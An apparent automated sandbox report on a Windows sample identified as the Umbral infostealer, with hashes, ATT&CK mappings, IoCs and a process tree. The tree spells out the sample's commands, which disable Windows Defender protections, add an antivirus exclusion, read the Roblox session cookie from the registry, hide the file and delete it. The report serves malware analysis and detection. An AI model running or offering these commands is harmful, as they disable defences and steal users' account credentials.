umbral | ed5fe58c45c8b0e48c4c9405ba8065234090e19e145465117e0d2342f43fd872

Analysis

max time kernel
144s
max time network
107s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20-07-2024 09:40

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General

Target

Krampus/b5uEJHZB6Rl.exe
Size

231KB
MD5

438289fb9c72ed39bf5497f9af21ec7a
SHA1

8120391ecb41ed6a4c6ef0b259776e59311d6997
SHA256

ea4cb7c7b4cfb2fcc04d1c3f96b20c26638e69a97b15cae14659f0d6afb78f85
SHA512

3647907fa2d503a242ef07cb20b081444b75e0c618a91232c8e77903b4b6aa823b8a7cbe07a45e02591fe48fdd23b5eae88565006b85863c0a5f6e42d7589fe0
SSDEEP

6144:YloZM+rIkd8g+EtXHkv/iD4Bs4DdLocD/abtIEx6tb8e1mTiu:GoZtL+EP8Bs4DdLocD/abtIExq1

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3576-0-0x000001EF17540000-0x000001EF17580000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3200	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	b5uEJHZB6Rl.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
31	discord.com
30	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1704	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1928	PING.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3576	b5uEJHZB6Rl.exe
3200	powershell.exe
3200	powershell.exe
5004	powershell.exe
5004	powershell.exe
1736	powershell.exe
1736	powershell.exe
2696	powershell.exe
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3576	b5uEJHZB6Rl.exe
Token: SeIncreaseQuotaPrivilege	5052	wmic.exe
Token: SeSecurityPrivilege	5052	wmic.exe
Token: SeTakeOwnershipPrivilege	5052	wmic.exe
Token: SeLoadDriverPrivilege	5052	wmic.exe
Token: SeSystemProfilePrivilege	5052	wmic.exe
Token: SeSystemtimePrivilege	5052	wmic.exe
Token: SeProfSingleProcessPrivilege	5052	wmic.exe
Token: SeIncBasePriorityPrivilege	5052	wmic.exe
Token: SeCreatePagefilePrivilege	5052	wmic.exe
Token: SeBackupPrivilege	5052	wmic.exe
Token: SeRestorePrivilege	5052	wmic.exe
Token: SeShutdownPrivilege	5052	wmic.exe
Token: SeDebugPrivilege	5052	wmic.exe
Token: SeSystemEnvironmentPrivilege	5052	wmic.exe
Token: SeRemoteShutdownPrivilege	5052	wmic.exe
Token: SeUndockPrivilege	5052	wmic.exe
Token: SeManageVolumePrivilege	5052	wmic.exe
Token: 33	5052	wmic.exe
Token: 34	5052	wmic.exe
Token: 35	5052	wmic.exe
Token: 36	5052	wmic.exe
Token: SeIncreaseQuotaPrivilege	5052	wmic.exe
Token: SeSecurityPrivilege	5052	wmic.exe
Token: SeTakeOwnershipPrivilege	5052	wmic.exe
Token: SeLoadDriverPrivilege	5052	wmic.exe
Token: SeSystemProfilePrivilege	5052	wmic.exe
Token: SeSystemtimePrivilege	5052	wmic.exe
Token: SeProfSingleProcessPrivilege	5052	wmic.exe
Token: SeIncBasePriorityPrivilege	5052	wmic.exe
Token: SeCreatePagefilePrivilege	5052	wmic.exe
Token: SeBackupPrivilege	5052	wmic.exe
Token: SeRestorePrivilege	5052	wmic.exe
Token: SeShutdownPrivilege	5052	wmic.exe
Token: SeDebugPrivilege	5052	wmic.exe
Token: SeSystemEnvironmentPrivilege	5052	wmic.exe
Token: SeRemoteShutdownPrivilege	5052	wmic.exe
Token: SeUndockPrivilege	5052	wmic.exe
Token: SeManageVolumePrivilege	5052	wmic.exe
Token: 33	5052	wmic.exe
Token: 34	5052	wmic.exe
Token: 35	5052	wmic.exe
Token: 36	5052	wmic.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	wmic.exe
Token: SeSecurityPrivilege	1264	wmic.exe
Token: SeTakeOwnershipPrivilege	1264	wmic.exe
Token: SeLoadDriverPrivilege	1264	wmic.exe
Token: SeSystemProfilePrivilege	1264	wmic.exe
Token: SeSystemtimePrivilege	1264	wmic.exe
Token: SeProfSingleProcessPrivilege	1264	wmic.exe
Token: SeIncBasePriorityPrivilege	1264	wmic.exe
Token: SeCreatePagefilePrivilege	1264	wmic.exe
Token: SeBackupPrivilege	1264	wmic.exe
Token: SeRestorePrivilege	1264	wmic.exe
Token: SeShutdownPrivilege	1264	wmic.exe
Token: SeDebugPrivilege	1264	wmic.exe
Token: SeSystemEnvironmentPrivilege	1264	wmic.exe
Token: SeRemoteShutdownPrivilege	1264	wmic.exe
Token: SeUndockPrivilege	1264	wmic.exe
Token: SeManageVolumePrivilege	1264	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 5052	3576	b5uEJHZB6Rl.exe	85
PID 3576 wrote to memory of 5052	3576	b5uEJHZB6Rl.exe	85
PID 3576 wrote to memory of 3052	3576	b5uEJHZB6Rl.exe	90
PID 3576 wrote to memory of 3052	3576	b5uEJHZB6Rl.exe	90
PID 3576 wrote to memory of 3200	3576	b5uEJHZB6Rl.exe	92
PID 3576 wrote to memory of 3200	3576	b5uEJHZB6Rl.exe	92
PID 3576 wrote to memory of 5004	3576	b5uEJHZB6Rl.exe	94
PID 3576 wrote to memory of 5004	3576	b5uEJHZB6Rl.exe	94
PID 3576 wrote to memory of 1736	3576	b5uEJHZB6Rl.exe	98
PID 3576 wrote to memory of 1736	3576	b5uEJHZB6Rl.exe	98
PID 3576 wrote to memory of 2696	3576	b5uEJHZB6Rl.exe	100
PID 3576 wrote to memory of 2696	3576	b5uEJHZB6Rl.exe	100
PID 3576 wrote to memory of 1264	3576	b5uEJHZB6Rl.exe	103
PID 3576 wrote to memory of 1264	3576	b5uEJHZB6Rl.exe	103
PID 3576 wrote to memory of 2000	3576	b5uEJHZB6Rl.exe	105
PID 3576 wrote to memory of 2000	3576	b5uEJHZB6Rl.exe	105
PID 3576 wrote to memory of 1540	3576	b5uEJHZB6Rl.exe	107
PID 3576 wrote to memory of 1540	3576	b5uEJHZB6Rl.exe	107
PID 3576 wrote to memory of 1940	3576	b5uEJHZB6Rl.exe	109
PID 3576 wrote to memory of 1940	3576	b5uEJHZB6Rl.exe	109
PID 3576 wrote to memory of 1704	3576	b5uEJHZB6Rl.exe	111
PID 3576 wrote to memory of 1704	3576	b5uEJHZB6Rl.exe	111
PID 3576 wrote to memory of 3208	3576	b5uEJHZB6Rl.exe	114
PID 3576 wrote to memory of 3208	3576	b5uEJHZB6Rl.exe	114
PID 3208 wrote to memory of 1928	3208	cmd.exe	116
PID 3208 wrote to memory of 1928	3208	cmd.exe	116

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3052	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Krampus\b5uEJHZB6Rl.exe
"C:\Users\Admin\AppData\Local\Temp\Krampus\b5uEJHZB6Rl.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Krampus\b5uEJHZB6Rl.exe"
  2⤵
  - Views/modifies file attributes
  PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Krampus\b5uEJHZB6Rl.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2000
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  PID:1940
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Krampus\b5uEJHZB6Rl.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
efe05055dc30f1da03bd1653594f8b0a

SHA1
8650a67ec9d1b8eed7caa4e4c86ebb8531bc7ba2

SHA256
10b3d946f07601b28c5cd6ee36fd0fffb41f3d96094a478d088ce30ebf9a694d

SHA512
5096856b34336cafbd2ee4dc4709bfa39c8794d8fc42777a460b79d52482b699013f237dfee2ecaf2b21487cc933b807bc5bad9b81f7070ba0dc4f6efcfa2f36

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_smju3wr1.k3h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3200-18-0x00007FFDBD520000-0x00007FFDBDFE1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-4-0x00007FFDBD520000-0x00007FFDBDFE1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-15-0x00007FFDBD520000-0x00007FFDBDFE1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-10-0x00007FFDBD520000-0x00007FFDBDFE1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-3-0x0000014A79DD0000-0x0000014A79DF2000-memory.dmp

Filesize
136KB

Download
memory/3576-34-0x000001EF19300000-0x000001EF19350000-memory.dmp

Filesize
320KB

Download
memory/3576-33-0x000001EF19280000-0x000001EF192F6000-memory.dmp

Filesize
472KB

Download
memory/3576-0-0x000001EF17540000-0x000001EF17580000-memory.dmp

Filesize
256KB

Download
memory/3576-35-0x000001EF191C0000-0x000001EF191DE000-memory.dmp

Filesize
120KB

Download
memory/3576-2-0x00007FFDBD520000-0x00007FFDBDFE1000-memory.dmp

Filesize
10.8MB

Download
memory/3576-1-0x00007FFDBD523000-0x00007FFDBD525000-memory.dmp

Filesize
8KB

Download
memory/3576-71-0x000001EF19200000-0x000001EF1920A000-memory.dmp

Filesize
40KB

Download
memory/3576-72-0x000001EF19230000-0x000001EF19242000-memory.dmp

Filesize
72KB

Download
memory/3576-79-0x00007FFDBD520000-0x00007FFDBDFE1000-memory.dmp

Filesize
10.8MB

Download